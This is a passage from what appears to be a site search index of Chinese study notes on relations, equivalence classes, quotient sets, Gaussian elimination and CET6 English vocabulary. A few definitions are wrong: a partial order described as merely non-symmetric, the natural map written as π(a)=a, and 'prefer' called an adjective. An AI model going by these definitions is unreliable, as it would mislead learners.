\\mathbf{R}\\)\u7684\u5177\u4f53\u8868\u793a,\u7a7a\u95f4\u70b9\u96c6\u5c31\u662f\u4e00\u79cd\\(\\mathbf{R} \\times \\mathbf{R} \\times \\mathbf{R}\\)\u7684\u5177\u4f53\u8868\u793a</p> <p>\u56de\u5230\u6211\u4eec\u7684\u4e8c\u5143\u5173\u7cfb\u4e2d,\u5728\u4eba\u7c7b\\(\\times\\)\u4eba\u7c7b\u8fd9\u4e2a\u7b1b\u5361\u5c14\u79ef\u4e0a,(\u8001\u5e08a,\u5b66\u751fb)\u8fd9\u4e00\u6709\u5e8f\u5bf9\u5b9a\u4e49\u4e86\u4e00\u79cd\u5e08\u751f\u5173\u7cfb,\u66f4\u89c4\u8303\u4e00\u70b9,\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u5199</p> \\[\\{(a,b)|a,b\\in Humans ,\\text{a is the teacher of b}\\}\\] <p>\u90a3\u4e48\u5c06\u4eba\u7c7b\\(\\times\\)\u4eba\u7c7b\u8fd9\u4e00\u96c6\u5408\u4e2d\u6240\u6709\u7684\u5e08\u751f\u653e\u5728\u4e00\u8d77,\u5c31\u6784\u6210\u4e86\u4eba\u7c7b\u4e2d\u7684\u5e08\u751f\u5173\u7cfb</p> <p>\u6211\u4eec\u628a\u4eba\u7c7b\\(\\times\\)\u4eba\u7c7b\u62bd\u8c61\u4e3a\u96c6\u5408\\(G \\times G\\),\u5c06\u5e08\u751f\u5173\u7cfb\u62bd\u8c61\u4e3a\\(R\\)\u8fd9\u4e00\u79cd\u5173\u7cfb\u3002\u5c31\u53ef\u4ee5\u7814\u7a76\u66f4\u591a\u5176\u5b83\u7684\u4e1c\u897f\u4e86\u3002</p> <p>\u63a5\u4e0b\u6765,\u6211\u4eec\u5148\u5f15\u51fa\u5173\u7cfb\u4e2d\u4e0d\u5f97\u4e0d\u8ba8\u8bba\u7684\u4ee5\u4e0b\u51e0\u4e2a\u6027\u8d28</p> <p>\u81ea\u53cd\u6027: \\(\\forall a \\in G,aRa\\),\u4e5f\u5c31\u662f\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u81ea\u5df1\u548c\u81ea\u5df1\u6ee1\u8db3\u8fd9\u79cd\u5173\u7cfb,\u663e\u7136\u5e08\u751f\u5173\u7cfb\u6ca1\u6709\u8fd9\u4e2a\u6027\u8d28,\u4f46\u662f\u5b9e\u6570\u4e0a\u7684\\(\\leqslant\\)\u6ee1\u8db3\u8fd9\u4e2a\u6027\u8d28</p> <p>\u5bf9\u79f0\u6027 \\(a R b \\Rightarrow b R a\\),\u4f8b\u5982\u5e73\u884c\u5173\u7cfb</p> <p>\u4f20\u9012\u6027 \\(a R b,b R c \\Rightarrow a R c\\),\u4f8b\u5982\\(\\leqslant\\)\u5173\u7cfb</p> <p>\u5b9a\u4e49</p> <p>\u504f\u5e8f\u5173\u7cfb:\u4ec5\u4e0d\u6ee1\u8db3\u5bf9\u79f0\u6027\u7684\u5173\u7cfb\u53eb\u504f\u5e8f\u5173\u7cfb,\u4f8b\u5982\u6574\u9664\u5173\u7cfb</p> <p>\u7b49\u4ef7\u5173\u7cfb:\u4ee5\u4e0a\u6027\u8d28\u5168\u90e8\u90fd\u6ee1\u8db3\u7684\u5173\u7cfb\u53eb\u505a\u7b49\u4ef7\u5173\u7cfb</p> <p>\u6709\u4e86\u7b49\u4ef7\u5173\u7cfb\\(R\\),\u6211\u4eec\u53ef\u4ee5\u7531\u8fd9\u4e2a\u5173\u7cfb\u5bf9\u96c6\u5408\u8fdb\u884c\u4e00\u4e9b\u5212\u5206</p> <p>Example</p> <p>\u6574\u6570\u57df\\(Z\\)\u4e0a,\u6a212\u540c\u4f59\u662f\u4e00\u79cd\u7b49\u4ef7\u5173\u7cfb,\u5728\u8fd9\u79cd\u5173\u7cfb\u4e0b,\u6211\u4eec\u53ef\u4ee5\u4e0d\u7528\u8003\u8651\u8fd9\u4e48\u591a\u65e0\u7a77\u65e0\u5c3d\u7684\u6570\u5b57,\u53ea\u9700\u8981\u8003\u8651\u4e24\u79cd\u5143\u7d20,\u6a212\u4f591\u7684\u5143\u7d20\u548c\u6a212\u4f590\u7684\u5143\u7d20,\u4e5f\u5c31\u662f\u6211\u4eec\u65e9\u5df2\u719f\u77e5\u7684:\u5947\u6570\u548c\u5076\u6570</p> <p>\u8fd9\u79cd\u5212\u5206\u5b9e\u5728\u662f\u6709\u6548,\u6211\u4eec\u53ef\u4ee5\u628a\u7b49\u4ef7\u7684\u5143\u7d20\u88c5\u5728\u4e00\u8d77,\u8d77\u540d\u4e3a\u7b49\u4ef7\u7c7b</p> <p>\u7b49\u4ef7\u7c7b</p> <p>\u82e5\\(R\\)\u662f\u96c6\u5408\\(G\\)\u4e0a\u7684\u4e00\u4e2a\u7b49\u4ef7\u5173\u7cfb,\u82e5\\(a,b \\in G,a R b\\),\u5219\u79f0\\(a,b\\)\u7b49\u4ef7,\u6240\u6709\\(G\\)\u4e2d\u4e0e\\(a\\)\u7b49\u4ef7\u7684\u5143\u7d20\u6784\u6210\u7684\u96c6\u5408\u53ef\u4ee5\u79f0\u4e3a\\(a\\)\u6240\u5728\u7684\u7b49\u4ef7\u7c7b {\\(b \\in A | bRa\\)},\u53ef\u4ee5\u8868\u793a\u4e3a \\(\\overline{a}\\)</p> <p>\u90a3\u4e48\u81ea\u7136\u60f3\u5230\u6574\u6570\u53ef\u4ee5\u5212\u5206\u4e3a{\\(\\overline{0},\\overline{1}\\)},\u5176\u5b9e\u4e0d\u53d60\u548c1,\u53d62\u548c3\u4e5f\u662f\u4e00\u6837\u7684,\u53ea\u9700\u8981\u53d6\u51fa\u8fd9\u4e2a\u7b49\u4ef7\u7c7b\u91cc\u9762\u7684\u4e00\u4e2a\u4ee3\u8868\u5143\u5c31\u53ef\u4ee5\u4e86.</p> <p>\u6700\u540e,\u6211\u4eec\u6765\u4e00\u70b9\u6b63\u5f0f\u7684\u5b9a\u4e49</p> <p>\u5206\u5212</p> <p>\u8bbe \\(R\\) \u662f\u96c6\u5408 \\(A\\) \u7684\u7b49\u4ef7\u5173\u7cfb,\u5219\u7531\u6240\u6709\u4e0d\u540c\u7684\u7b49\u4ef7\u7c7b\u6784\u6210\u7684\u5b50\u96c6\u65cf {\\(\\overline{a}\\)} \u662f \\(A\\) \u7684\u5206\u5212.   \u53cd\u4e4b,\u6211\u4eec\u4e5f\u53ef\u4ee5\u57fa\u4e8e\u5206\u5212\u5728 \\(A\\) \u4e2d\u5b9a\u4e49\u7b49\u4ef7\u5173\u7cfb.</p> <p>\u5546\u96c6</p> <p>\u8bbe \\(R\\) \u662f\u96c6\u5408 \\(A\\) \u7684\u7b49\u4ef7\u5173\u7cfb,\u4ee5\u5173\u4e8e \\(R\\) \u7684\u7b49\u4ef7\u7c7b\u4e3a\u5143\u7d20\u7684\u96c6\u5408\uff08\u5b9e\u9645\u4e0a\u662f\u96c6\u5408\u6784\u6210   \u7684\u96c6\u5408,\u53c8\u79f0\u96c6\u65cf\uff09{\\(\\overline{a}\\)} \u79f0\u4e3a \\(A\\) \u5bf9 \\(R\\) \u7684\u5546\u96c6,\u8bb0\u4e3a \\(A/R\\). \u7531   \\(\\pi(a) = a, \\forall a \u2208 A\\)   \u5b9a\u4e49\u7684 \\(A\\) \u5230 \\(A/R\\) \u4e0a\u7684\u6620\u5c04 \\(\\pi\\) \u79f0\u4e3a \\(A\\) \u5230 \\(A/R\\) \u4e0a\u7684\u81ea\u7136\u6620\u5c04.</p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/#_4","title":"\u9ad8\u65af\u6d88\u5143\u6cd5","text":"<p>\u4e0d\u5c31\u662f\u52a0\u52a0\u51cf\u51cf,\u6709\u4ec0\u4e48\u597d\u5355\u72ec\u62ff\u51fa\u6765\u8bf4\u7684\u5462(\u7b49\u4f60\u8003\u8bd5\u89e3\u9519\u8fd9\u4e2a\u9001\u5206\u9898\u5c31\u8001\u5b9e\u4e86)</p> <p>\u4e00\u822c\u7684,\u5bf9\u4e8e\u4e00\u4e2a\u7531 \\(m\\) \u4e2a\u65b9\u7a0b\u7ec4\u6210\u7684 \\(n\\) \u5143\uff08\u5373\u53d8\u91cf\u6570\u4e3a \\(n\\)\uff09\u7ebf\u6027\u65b9\u7a0b\u7ec4</p> \\[\\begin{cases} \\begin{aligned}a_{11}x_1+a_{12}x_2+\\cdots+a_{1n}x_n &amp; = b_1\\\\ a_{21}x_1+a_{22}x_2+\\cdots+a_{2n}x_n &amp;=b_2\\\\ &amp;\\vdots\\\\ a_{m1}x_1+a_{m2}x_2+\\cdots+a_{mn}x_n &amp; = b_m\\end{aligned}\\end{cases}\\] <p>\u5c06\u5176\u7cfb\u6570\u6392\u5217\u6210\u77e9\u9635</p> \\[\\begin{pmatrix}a_{11} &amp; a_{12} &amp; \\cdots &amp; a_{1n} \\\\ a_{21} &amp; a_{22} &amp; \\cdots &amp; a_{2n} \\\\ \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\ a_{m1} &amp; a_{m2} \\cdots &amp;a_{mn}\\end{pmatrix}\\] <p>\u4e14\u8bb0\\(\\vec{b}=(b_1,b_2,\\ldots,b_m)^\\mathrm{T}\\),\u82e5 \\(\\vec{b}=\\vec{0}\\) \u5219\u79f0\u6b64\u65b9\u7a0b\u4e3a\u9f50\u6b21\u7ebf\u6027\u65b9\u7a0b\u7ec4,\u5426\u5219\u4e3a\u975e\u9f50\u6b21\u7ebf\u6027\u65b9\u7a0b\u7ec4. \u518d\u5c06\\(n\\)\u4e2a\u672a\u77e5\u91cf\u8bb0\u4e3a\\(n\\)\u5143\u5217\u5411\u91cf\\(X=(x_1,x_2,\\ldots,x_n)^\\mathrm{T}\\),\u6211\u4eec\u4fbf\u53ef\u4ee5\u628a\u65b9\u7a0b\u7ec4\u7b80\u8bb0\u4e3a\\(AX=\\vec{b}\\).</p> <p>Info</p> <p>T\u4ee3\u8868\u8f6c\u7f6e,\u4e5f\u5c31\u662f\u8981\u7ad6\u7740\u5199</p> <p>\u4ee4\\(\\vec{\\beta}_i=(a_{1i},a_{2i},\\ldots,a_{mi})^\\mathrm{T}\\),\u5373\u65b9\u7a0b\u7ec4\u7cfb\u6570\u77e9\u9635\u7684\u67d0\u4e00\u5217,\u5219\u65b9\u7a0b\u7ec4\u8fd8\u53ef\u4ee5\u8bb0\u4e3a\\(x_1\\vec{\\beta}_1+x_2\\vec{\\beta}_2+\\cdots+x_n\\vec{\\beta}_n=\\vec{b}\\),\u8fd9\u4e00\u5f62\u5f0f\u5c06\u5728\u4e4b\u540e\u591a\u6b21\u89c1\u5230.</p> <p>\u5728\u4ee5\u4e0a\u7684\u8bb0\u53f7\u4e0b,\u6211\u4eec\u53ef\u4ee5\u5c06\u89e3\u7ebf\u6027\u65b9\u7a0b\u7ec4\u7684\u8fc7\u7a0b\u8f6c\u5316\u4e3a\u77e9\u9635\u7684\u521d\u7b49\u884c\u53d8\u6362. \u9ad8\u65af\u6d88\u5143\u6cd5\u7684\u4e00\u822c\u6b65\u9aa4\u5982\u4e0b\uff1a</p> <p>\u7ebf\u6027\u65b9\u7a0b\u7ec4\\(\\overset{1}{\\longrightarrow}\\)\u589e\u5e7f\u77e9\u9635\\(\\overset{2}{\\longrightarrow}\\)\u9636\u68af\u77e9\u9635\\(\\overset{3}{\\longrightarrow}\\)\uff08\u884c\uff09\u7b80\u5316\u9636\u68af\u77e9\u9635\\(\\overset{4}{\\longrightarrow}\\)\u89e3</p> <ul> <li>\u6b65\u9aa4\u4e00:\u628a\u77e9\u9635\u5199\u4e3a\\((A,b)\\)\u7684\u5f62\u5f0f\u5373\u53ef\u3002</li> <li>\u6b65\u9aa4\u4e8c:\u4ece\u7b2c\u4e00\u884c\u5f00\u59cb,\u7b2c\u4e00\u6b21\u7528\u7b2c\u4e00\u884c\u6d88\u53bb\u4e0b\u9762\u51e0\u884c\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20,\u7b2c\u4e8c\u6b21\u7528\u7b2c\u4e8c\u884c\u6d88\u53bb\u4e0b\u9762\u51e0\u884c\u7684\u7b2c\u4e8c\u4e2a,\u4ee5\u6b64\u7c7b\u63a8,\u505a\u5230\u6700\u540e\u4e00\u884c\u53ea\u5269\u4e00\u4e2a\u3002</li> <li>\u6b65\u9aa4\u4e09:\u4ece\u6700\u540e\u4e00\u884c\u5f00\u59cb,\u6b64\u65f6\u6700\u540e\u4e00\u884c\u53ea\u5269\u6700\u540e\u4e00\u4e2a,\u7528\u6700\u540e\u4e00\u884c\u6d88\u53bb\u4e0a\u9762\u6240\u6709\u884c\u7684\u6700\u540e\u4e00\u4e2a(\u5982\u679c\u53ef\u80fd\u7684\u8bdd),\u8fd9\u6837\u5012\u6570\u7b2c\u4e8c\u884c\u53ea\u5269\u4e00\u4e2a,\u7ee7\u7eed\u505a\u4e0b\u53bb\u76f4\u5230\u6d88\u53bb\u4e0d\u4e86\u3002</li> <li>\u6b65\u9aa4\u56db:\u8fd9\u91cc\u6709\u4e09\u79cd\u60c5\u51b5<ul> <li>\u65e0\u89e3:\u5982\u679c\u51fa\u73b00=\u5e38\u6570\u7684\u60c5\u51b5,\u90a3\u5c31\u662f\u65e0\u89e3(\u4e0d\u662f\u5e38\u6570=0)</li> <li>\u552f\u4e00\u89e3:\u7b80\u5316\u9636\u68af\u77e9\u9635(\u7cfb\u6570\u77e9\u9635)\u662f\\(n\\times n\\)\u7684,\u4e14\u6ca1\u6709\u51680\u884c\u3002\u540e\u9762\u6211\u4eec\u76f4\u63a5\u53ef\u4ee5\u7528\u7cfb\u6570\u77e9\u9635\u53ef\u9006(\u884c\u5217\u5f0f\u4e0d\u4e3a0)\u6765\u76f4\u63a5\u5224\u65ad</li> <li>\u6709\u65e0\u7528\u7684\u77e9\u9635,\u4f53\u73b0\u4e3a\u7b80\u5316\u9636\u68af\u77e9\u9635\u6709\u51680\u884c,\u66f4\u4e00\u822c\u5730\u8bf4,\u6709\u6548\u65b9\u7a0b\u4e2a\u6570\u5c11\u4e8e\u672a\u77e5\u6570\u7684\u4e2a\u6570,\u8bbe\u51fa\u81ea\u7531\u672a\u77e5\u91cf\u5c06\u5176\u4ee4\u4e3a\\(k_1,k_2,\\ldots\\),\u7136\u540e\u4ee3\u5165\u589e\u5e7f\u77e9\u9635\u5bf9\u5e94\u7684\u65b9\u7a0b\u7ec4\u5373\u53ef</li> </ul> </li> </ul> <p>\u7d2f\u4e86,\u8fd9\u4e00\u90e8\u5206\u5c31\u5199\u8fd9\u4e48\u591a\u5427</p>"},{"location":"NOTE/Language/","title":"\u5916\u8bed\u5b66\u4e60","text":"<p> \u7ea6 24 \u4e2a\u5b57 </p> <p>\u8fd9\u91cc\u5b58\u653e\u4e00\u4e9b\u5916\u8bed\u5b66\u4e60\u7b14\u8bb0\uff0c\u867d\u7136\u76ee\u524d\u53ea\u6709\u82f1\u8bed\u3002</p>"},{"location":"NOTE/Language/English/","title":"CET6 Words","text":"<p> \u7ea6 10076 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 35 \u5206\u949f</p>"},{"location":"NOTE/Language/English/#part-1","title":"PART 1","text":"<p>barren</p> <ul> <li>adj. <ul> <li>\u8d2b\u7620\u7684,\u4e0d\u6bdb\u7684\uff0c\u4e0d\u5b55\u4e0d\u80b2\u7684</li> <li>\u6ca1\u6709\u6548\u679c\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The barren land was a source of great frustration.</p> <p>\u8fd9\u7247\u8d2b\u7620\u7684\u571f\u5730\u8ba9\u6211\u611f\u5230\u975e\u5e38\u6cae\u4e27\u3002</p> <p>spot</p> <ul> <li>n.<ul> <li>\u6591\u70b9,\u6c61\u6e0d,\u810f\u70b9</li> <li>\u7c89\u523a\uff0c\u8113\u5305</li> <li>\u5730\u70b9\uff0c\u573a\u6240</li> <li>\u673a\u4f1a\uff0c\u65f6\u673a</li> <li>\u4e00\u70b9\uff0c\u4e00\u70b9\u513f</li> </ul> </li> <li>v.<ul> <li>\u770b\u89c1,\u6ce8\u610f\u5230,\u53d1\u73b0</li> </ul> </li> </ul> <p>Eg</p> <p>There was a spot on his face.</p> <p>\u4ed6\u8138\u4e0a\u6709\u4e00\u4e2a\u810f\u70b9\u3002</p> <p>bleak</p> <ul> <li>adj.<ul> <li>\u8352\u51c9\u7684, \u9634\u51b7\u7684</li> <li>\u6ca1\u6709\u5e0c\u671b\u7684, \u51c4\u51c9\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The landscape was bleak and desolate.</p> <p>\u666f\u8272\u8352\u51c9\u800c\u51c4\u51c9\u3002</p> <p>leak</p> <ul> <li>n.<ul> <li>\u6f0f\u6d1e, \u6f0f\u51fa, \u6cc4\u6f0f</li> <li>\u6f0f\u51fa\u7269, \u6f0f\u51fa\u91cf</li> </ul> </li> <li>v.<ul> <li>\u6f0f, \u6e17\u6f0f</li> <li>\u6cc4\u9732, \u900f\u9732</li> </ul> </li> </ul> <p>Eg</p> <p>There was a leak in the roof.</p> <p>\u5c4b\u9876\u6709\u4e2a\u6f0f\u6d1e\u3002</p> <p>The company tried to prevent any leaks of confidential information.</p> <p>\u516c\u53f8\u8bd5\u56fe\u9632\u6b62\u4efb\u4f55\u673a\u5bc6\u4fe1\u606f\u7684\u6cc4\u9732\u3002</p> <p>humid</p> <ul> <li>adj.<ul> <li>\u6f6e\u6e7f\u7684, \u6e7f\u6da6\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The air was humid and sticky.</p> <p>\u7a7a\u6c14\u6f6e\u6e7f\u800c\u7c98\u7a20\u3002</p> <p>hum\u5f53\u8bcd\u6839\u6709\u6ce5\u571f\u7684\u610f\u601d.humble\u53ef\u4ee5\u7406\u89e3\u4e3a\u8d34\u8fd1\u6ce5\u571f,\u6709\u8c26\u5351\u7684\u610f\u601d</p> <p>regulate</p> <ul> <li>v.<ul> <li>\u7ba1\u7406, \u63a7\u5236, \u8c03\u8282</li> <li>\u4f7f\u89c4\u5219\u5316, \u4f7f\u6709\u79e9\u5e8f</li> </ul> </li> </ul> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aregulation\uff0c\u6307\u89c4\u5219,\u6cd5\u89c4\uff0cragular\u4e3a\u89c4\u5219\u7684,\u6709\u89c4\u5f8b\u7684</p> <p>Eg</p> <p>The government regulates the financial industry to prevent fraud.</p> <p>\u653f\u5e9c\u7ba1\u7406\u91d1\u878d\u884c\u4e1a\u4ee5\u9632\u6b62\u6b3a\u8bc8\u3002</p> <p>The thermostat regulates the temperature in the house.</p> <p>\u6052\u6e29\u5668\u8c03\u8282\u623f\u5b50\u7684\u6e29\u5ea6\u3002</p> <p>summit</p> <ul> <li>n.<ul> <li>\u9876\u70b9, \u6700\u9ad8\u70b9</li> <li>\u5cf0\u4f1a, \u6700\u9ad8\u7ea7\u4f1a\u8bae</li> </ul> </li> </ul> <p>Eg</p> <p>They reached the summit of the mountain after a grueling climb.</p> <p>\u7ecf\u8fc7\u8270\u82e6\u7684\u6500\u767b\uff0c\u4ed6\u4eec\u5230\u8fbe\u4e86\u5c71\u9876\u3002</p> <p>The leaders met at the summit to discuss global issues.</p> <p>\u9886\u5bfc\u4eba\u5728\u5cf0\u4f1a\u4e0a\u4f1a\u9762\u8ba8\u8bba\u5168\u7403\u95ee\u9898\u3002</p> <p>mit\u5f53\u8bcd\u6839\u6709send\u7684\u610f\u601d,\u4f8b\u5982transmit\u4e3a\u4f20\u9012\u7684\u610f\u601d,submit\u4e3a\u63d0\u4ea4\u7684\u610f\u601d</p> <p>defend</p> <ul> <li>v.<ul> <li>\u9632\u5fa1, \u4fdd\u536b</li> <li>\u4e3a...\u8fa9\u62a4, \u7ef4\u62a4</li> </ul> </li> </ul> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adefense\uff0c\u6307\u9632\u5fa1, \u9632\u536b\uff0cdefender\u4e3a\u9632\u5fa1\u8005, \u8fa9\u62a4\u8005</p> <p>Eg</p> <p>The soldiers defended the castle from the invaders.</p> <p>\u58eb\u5175\u4eec\u4fdd\u536b\u57ce\u5821\u514d\u53d7\u5165\u4fb5\u8005\u7684\u653b\u51fb\u3002</p> <p>She defended her thesis during the oral examination.</p> <p>\u5979\u5728\u53e3\u8bd5\u4e2d\u4e3a\u5979\u7684\u8bba\u6587\u8fa9\u62a4\u3002</p> <p>fend\u5f53\u8bcd\u6839\u6709\u51fb\u6253\uff0c\u63a8\uff0c\u649e\u51fb\u7684\u610f\u601d,\u4f8b\u5982offend\u4e3a\u5192\u72af</p> <p>protest</p> <ul> <li> <p>v.</p> <ul> <li>\u6297\u8bae, \u53cd\u5bf9</li> <li>\u7533\u660e, \u58f0\u660e</li> </ul> </li> <li> <p>n.</p> <ul> <li>\u6297\u8bae, \u53cd\u5bf9</li> </ul> </li> </ul> Idea <p>protest\uff0c\u63d0\u524d\u8003\u8bd5\uff0c\u6709\u610f\u601d\u54c8\uff0c\u5fc5\u987b\u6297\u8bae\uff01\uff01\uff01</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aprotestation\uff0c\u6307\u6297\u8bae, \u58f0\u660e\uff0cprotester\u4e3a\u6297\u8bae\u8005, \u53cd\u5bf9\u8005</p> <p>Eg</p> <p>The workers protested against the unfair labor practices.</p> <p>\u5de5\u4eba\u4eec\u6297\u8bae\u4e0d\u516c\u5e73\u7684\u52b3\u52a8\u60ef\u4f8b\u3002</p> <p>She protested her innocence during the trial.</p> <p>\u5979\u5728\u5ba1\u5224\u671f\u95f4\u7533\u660e\u5979\u7684\u6e05\u767d\u3002</p> <p>detest \u4e3a\u618e\u6076\uff0c\u538c\u6076\u7684\u610f\u601d\uff0ccontest\u4e3a\u4e89\u8bba\uff0c\u7ade\u4e89\u7684\u610f\u601d</p> <p>sue</p> <ul> <li>v.<ul> <li>\u63a7\u544a, \u8d77\u8bc9</li> <li>\u8bf7\u6c42, \u6073\u6c42</li> </ul> </li> </ul> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3asuit\uff0c\u6307\u8bc9\u8bbc\uff0c\u8d77\u8bc9\uff0csuitor\u4e3a\u8d77\u8bc9\u8005, \u6c42\u5a5a\u8005</p> <p>Eg</p> <p>She decided to sue the company for wrongful termination.</p> <p>\u5979\u51b3\u5b9a\u8d77\u8bc9\u516c\u53f8\u975e\u6cd5\u89e3\u96c7\u3002</p> <p>He sued for peace after the long conflict.</p> <p>\u5728\u957f\u671f\u51b2\u7a81\u540e\uff0c\u4ed6\u8bf7\u6c42\u548c\u5e73\u3002</p> <p>pursue \u4e3a\u8ffd\u6c42\uff0c\u8ffd\u8d76\u7684\u610f\u601d\uff0censue\u4e3a\u63a5\u7740\u53d1\u751f\u7684\u610f\u601d</p> <p>versus</p> <ul> <li>prep.<ul> <li>\u5bf9\u6297, \u4e0e...\u76f8\u5bf9</li> </ul> </li> </ul> <p>Eg</p> <p>The upcoming match is Team A versus Team B.</p> <p>\u5373\u5c06\u5230\u6765\u7684\u6bd4\u8d5b\u662fA\u961f\u5bf9\u6297B\u961f\u3002</p> <p>The court case was plaintiff versus defendant.</p> <p>\u8fd9\u573a\u8bc9\u8bbc\u662f\u539f\u544a\u5bf9\u88ab\u544a\u3002</p> <p>\u5176\u7f29\u5199\u5f62\u5f0f\u4e3avs.\uff0c\u5e38\u7528\u4e8e\u4f53\u80b2\u6bd4\u8d5b\u548c\u6cd5\u5f8b\u6848\u4ef6\u4e2d\u3002</p> <p>compulsory</p> <ul> <li>adj.<ul> <li>\u5f3a\u5236\u7684, \u5fc5\u987b\u505a\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>Education is compulsory for children in many countries.</p> <p>\u5728\u8bb8\u591a\u56fd\u5bb6\uff0c\u6559\u80b2\u662f\u5f3a\u5236\u6027\u7684\u3002</p> <p>Wearing a seatbelt is compulsory in most vehicles.</p> <p>\u5728\u5927\u591a\u6570\u8f66\u8f86\u4e2d\uff0c\u7cfb\u5b89\u5168\u5e26\u662f\u5f3a\u5236\u6027\u7684\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3acompulsion\uff0c\u6307\u5f3a\u5236\uff0c\u5f3a\u8feb\uff0ccompulsorily\u4e3a\u526f\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u5f3a\u5236\u5730\u3002</p> <p>institute</p> <ul> <li> <p>n.</p> <ul> <li>\u673a\u6784, \u5b66\u9662, \u7814\u7a76\u6240</li> <li>\u534f\u4f1a, \u5b66\u4f1a</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u5efa\u7acb, \u8bbe\u7acb, \u5236\u5b9a</li> </ul> </li> </ul> <p>Eg</p> <p>The institute offers various programs in science and technology.</p> <p>\u8be5\u7814\u7a76\u6240\u63d0\u4f9b\u5404\u79cd\u79d1\u5b66\u548c\u6280\u672f\u8bfe\u7a0b\u3002</p> <p>They decided to institute new policies to improve efficiency.</p> <p>\u4ed6\u4eec\u51b3\u5b9a\u5236\u5b9a\u65b0\u653f\u7b56\u4ee5\u63d0\u9ad8\u6548\u7387\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3ainstitution\uff0c\u6307\u673a\u6784\uff0c\u5236\u5ea6\uff0cinstitutional\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u5236\u5ea6\u7684\uff0c\u673a\u6784\u7684\u3002</p> <p>in\u8868\u793a\u8fdb\u5165\uff0c\u8bcd\u6839\u65f6stitut\u65f6\u662fsta(=stand)\u7684\u53d8\u4f53\uff0c\u8868\u793a\u7ad9\u7acb\uff0c\u5efa\u7acb\u7684\u610f\u601d</p> <p>MIT(Massachusetts Institute of Technology)\u9ebb\u7701\u7406\u5de5\u5b66\u9662</p> <p>substitute \u4e3a\u66ff\u4ee3\u54c1(n)\uff0c\u4ee3\u66ff(v)\u7684\u610f\u601d(\u5728\u4e0b\u9762\u7ad9\u7740)</p> <p>proficient</p> <ul> <li>adj.<ul> <li>\u719f\u7ec3\u7684, \u7cbe\u901a\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>She is proficient in several languages.</p> <p>\u5979\u7cbe\u901a\u51e0\u79cd\u8bed\u8a00\u3002</p> <p>He is a proficient programmer.</p> <p>\u4ed6\u662f\u4e00\u540d\u719f\u7ec3\u7684\u7a0b\u5e8f\u5458\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aproficiency\uff0c\u6307\u719f\u7ec3\uff0c\u7cbe\u901a\uff0cproficiently\u4e3a\u526f\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u719f\u7ec3\u5730\uff0c\u7cbe\u901a\u5730\u3002</p> <p>pro-\u8868\u793a\u5411\u524d\uff0c\u8bcd\u6839'ficient'\u8868\u793a\u6709\u80fd\u529b\u7684\uff0c\u80fd\u591f\u7684\u610f\u601d,\u65e9\u5c31\u80fd\u591f\u4e86\uff0c\u5f88\u719f\u7ec3\u4e86</p> <p>deficiency \u4e3a\u7f3a\u4e4f\uff0c\u4e0d\u8db3\uff0cdeficient\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u7f3a\u4e4f\u7684\uff0c\u4e0d\u8db3\u7684</p> <p>efficiency \u4e3a\u6548\u7387\uff0cefficient\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u6548\u7387\u9ad8\u7684\uff0c\u6709\u6548\u7684</p> <p>artificially \u4e3a\u4eba\u5de5\u7684\uff0cartificial\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u4eba\u5de5\u7684\uff0c\u4eba\u9020\u7684 </p> <p>refer</p> <ul> <li>v.<ul> <li>\u63d0\u5230, \u6d89\u53ca</li> <li>\u53c2\u8003, \u67e5\u9605</li> <li>\u5f52\u56e0\u4e8e</li> </ul> </li> </ul> <p>Eg</p> <p>Please refer to the manual for more information.</p> <p>\u8bf7\u53c2\u8003\u624b\u518c\u4ee5\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\u3002</p> <p>He often refers to his notes during the lecture.</p> <p>\u4ed6\u5728\u8bb2\u5ea7\u671f\u95f4\u7ecf\u5e38\u53c2\u8003\u4ed6\u7684\u7b14\u8bb0\u3002</p> <p>The term 'refer' can also mean to mention or allude to something.</p> <p>'refer'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u63d0\u5230\u6216\u6697\u6307\u67d0\u4e8b\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3areference\uff0c\u6307\u53c2\u8003\uff0c\u63d0\u53ca\uff0creferential\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u53c2\u8003\u7684\uff0c\u63d0\u53ca\u7684\u3002</p> <p>re-\u8868\u793a\u56de\uff0c\u8bcd\u6839'fer'\u8868\u793a\u5e26\u6765\uff0c\u5e26\u56de\u53bb\uff0c\u8868\u793a\u53c2\u8003\uff0c\u63d0\u5230\u7684\u610f\u601d</p> <p>reference book \u53c2\u8003\u4e66</p> <p>infer \u4e3a\u63a8\u65ad\uff0c\u63a8\u8bba\uff0cinferred\u4e3a\u63a8\u65ad\u7684\uff0c\u63a8\u8bba\u7684</p> <p>prefer \u4e3a\u66f4\u559c\u6b22\uff0cprefer\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u66f4\u559c\u6b22\u7684</p> <p>transfer 